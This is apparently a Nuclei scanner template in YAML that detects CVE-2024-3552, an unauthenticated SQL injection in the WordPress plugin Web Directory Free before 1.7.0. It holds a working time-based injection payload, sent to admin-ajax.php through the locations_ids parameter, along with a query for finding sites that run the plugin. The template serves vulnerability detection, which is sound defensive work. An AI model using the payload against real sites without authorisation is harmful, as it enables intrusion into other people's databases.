50 lines
1.5 KiB
YAML
50 lines
1.5 KiB
YAML
id: CVE-2024-3552
|
|
|
|
info:
|
|
name: Web Directory Free < 1.7.0 - SQL Injection
|
|
author: securityforeveryone
|
|
severity: critical
|
|
description: |
|
|
The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection with different techniques like UNION, Time-Based and Error-Based.
|
|
remediation: Fixed in 1.7.0
|
|
reference:
|
|
- https://vulners.com/wpvulndb/CVE-2024-3552
|
|
- https://wpscan.com/vulnerability/34b03ee4-de81-4fec-9f3d-e1bd5b94d136/
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
publicwww-query: "/wp-content/plugins/web-directory-free"
|
|
tags: cve,cve2024,wordpress,wp-plugin,wpscan,wp,web-directory-free
|
|
|
|
flow: http(1) && http(2)
|
|
|
|
http:
|
|
|
|
- raw:
|
|
- |
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '/wp-content/plugins/web-directory-free'
|
|
internal: true
|
|
|
|
- raw:
|
|
- |
|
|
POST /wp-admin/admin-ajax.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
action=w2dc_get_map_marker_info&locations_ids[]=(select+if(1=1,sleep(6),0)+from+(select+1)x)
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'duration>=6'
|
|
- 'status_code == 200'
|
|
- regex('^\[\]$', body)
|
|
condition: and
|
|
# digest: 4a0a0047304502205f1531596b6325ac2d986cd6245136e53aa97e8a3978b6a394bffeb78042691602210093b20af969ed64d70d37d6bcea2a4ea4e185ec3d9814c49ec0e4ed34262d6ba6:922c64590222798bb761d5b6d8e72950 |